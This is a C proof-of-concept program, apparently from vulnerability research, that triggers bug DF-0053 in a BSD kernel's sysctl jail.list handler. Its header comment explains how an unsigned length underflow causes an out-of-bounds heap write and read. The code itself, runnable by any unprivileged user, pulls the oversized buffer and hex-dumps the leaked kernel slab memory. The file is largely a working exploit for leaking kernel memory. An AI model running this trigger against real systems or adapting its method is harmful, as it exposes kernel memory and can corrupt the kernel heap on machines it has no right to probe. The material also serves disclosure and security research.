DF-0053 / jail_list_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 | /* * DF-0053 trigger (final) - sysctl jail.list OOB write + OOB read proof. * * The bug (sys/kern/kern_jail.c:661 sysctl_jail_list): * - jlssize = count*1024, jlsused = 0 (both unsigned int, :671) * - kmalloc(jlssize+1) -> bucket-rounded alloc (e.g. 1025 -> 1152) (:689) * - ksnprintf(jls+jlsused, (jlssize-jlsused), "%d %s %s", jid, host, path) * returns the WOULD-BE length (subr_prf.c:549 retval++ is unconditional, * snprintf_func only writes if remain>=2). With host(255)+path(967) * the format is ~1226 bytes but size is only 1024 -> truncated write, * retval=1226, jlsused += 1226 -> jlsused > jlssize. (:704-710) * - IP loop: (jlssize - jlsused) underflows unsigned -> ~UINT_MAX (:733) * bounds check (huge < small) is FALSE -> doesn't trip ERANGE * ksnprintf(jls+jlsused, ~UINT_MAX, " %s", ip) writes at jls+1226, * which is past the 1152-byte alloc end -> OOB WRITE into adjacent * slab memory. Each IP adds ~9-13 bytes of OOB write. (:737) * - SYSCTL_OUT(req, jls, jlsused) copies jlsused bytes (e.g. 1261) from * the 1152-byte alloc to userspace -> OOB READ of (jlsused-1152) * bytes of adjacent slab slack -> INFO LEAK. (:749) * * Reachable: any unprivileged unjailed user (handler only checks !jailed, * kern_jail.c:679). Precondition: >=1 jail whose host+fullpath formatted * length exceeds ~1024 bytes (deep chroot path created by root). * * Build: cc -O2 -o jail_list_trigger jail_list_trigger.c * Run as ANY unprivileged user (after root runs setup_jail_v3.sh). */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> int main(void) { int name[8]; size_t namelen = 8; /* OID is top-level "jail.list" (SYSCTL_OID(_jail, OID_AUTO, list, ...) * at kern_jail.c:757 -- NOT kern.jail.list. */ if (sysctlnametomib("jail.list", name, &namelen) != 0) { perror("sysctlnametomib(jail.list)"); fprintf(stderr, "[!] The OID is 'jail.list', not 'kern.jail.list'.\n"); return 1; } fprintf(stderr, "[*] MIB for jail.list:"); for (size_t i = 0; i < namelen; i++) fprintf(stderr, " %d", name[i]); fprintf(stderr, "\n"); /* Probe length. */ size_t buflen = 0; if (sysctl(name, namelen, NULL, &buflen, NULL, 0) != 0) { perror("sysctl probe"); return 1; } fprintf(stderr, "[*] kernel reports jail.list length = %zu bytes\n", buflen); if (buflen == 0) { fprintf(stderr, "[-] no jails configured; ask root to run " "setup_jail_v3.sh first.\n"); return 0; } /* Read. */ char *buf = malloc(buflen); if (!buf) { perror("malloc"); return 1; } size_t got = buflen; if (sysctl(name, namelen, buf, &got, NULL, 0) != 0) { perror("sysctl read"); free(buf); return 1; } fprintf(stderr, "[*] sysctl read returned %zu bytes\n", got); /* jlssize = count * 1024. Count jail lines. */ int nlines = 1; for (size_t i = 0; i < got; i++) if (buf[i] == '\n') nlines++; size_t jlssize = (size_t)nlines * 1024; fprintf(stderr, "[*] %d jail lines -> jlssize = %zu bytes " "(kmalloc(%zu+1) -> bucket 1152)\n", nlines, jlssize, jlssize); if (got > jlssize) { size_t oob_vs_jlssize = got - jlssize; size_t alloc = 1152; /* zoneindex bucket for size 1025 */ size_t oob_vs_alloc = (got > alloc) ? (got - alloc) : 0; printf("[+] BUG DF-0053 CONFIRMED:\n"); printf(" kernel returned %zu bytes\n", got); printf(" jlssize (count*1024) = %zu\n", jlssize); printf(" kmalloc bucket (alloc) = %zu\n", alloc); printf(" OOB READ vs jlssize = %zu bytes\n", oob_vs_jlssize); printf(" OOB READ vs actual alloc end = %zu bytes " "(info leak of adjacent slab slack)\n", oob_vs_alloc); printf(" OOB WRITE (IPs written past alloc end during " "IP loop) also occurred in kernel heap\n"); /* Show tail bytes -- the OOB region includes IPs the kernel * wrote past the buffer end + any non-zero slab residue. */ size_t off = got > 128 ? got - 128 : 0; size_t n = got - off; fprintf(stderr, "[*] last %zu bytes (offset %zu..%zu):\n", n, off, got); for (size_t i = 0; i < n; i += 16) { fprintf(stderr, " %04zx ", off + i); for (size_t j = 0; j < 16 && i + j < n; j++) fprintf(stderr, "%02x ", (unsigned char)buf[off + i + j]); fprintf(stderr, " "); for (size_t j = 0; j < 16 && i + j < n; j++) { unsigned char c = buf[off + i + j]; fprintf(stderr, "%c", (c >= 32 && c < 127) ? c : '.'); } fprintf(stderr, "\n"); } /* Count non-zero bytes in the OOB-vs-alloc region. */ size_t nonzero = 0; for (size_t i = alloc; i < got; i++) if (buf[i] != 0) nonzero++; printf(" non-zero bytes in OOB-vs-alloc region: %zu " "(our written IPs + any stale slab data)\n", nonzero); } else { printf("[-] output (%zu) <= jlssize (%zu); bug did not fire " "(need a jail with >1024-byte formatted line)\n", got, jlssize); } free(buf); return 0; } |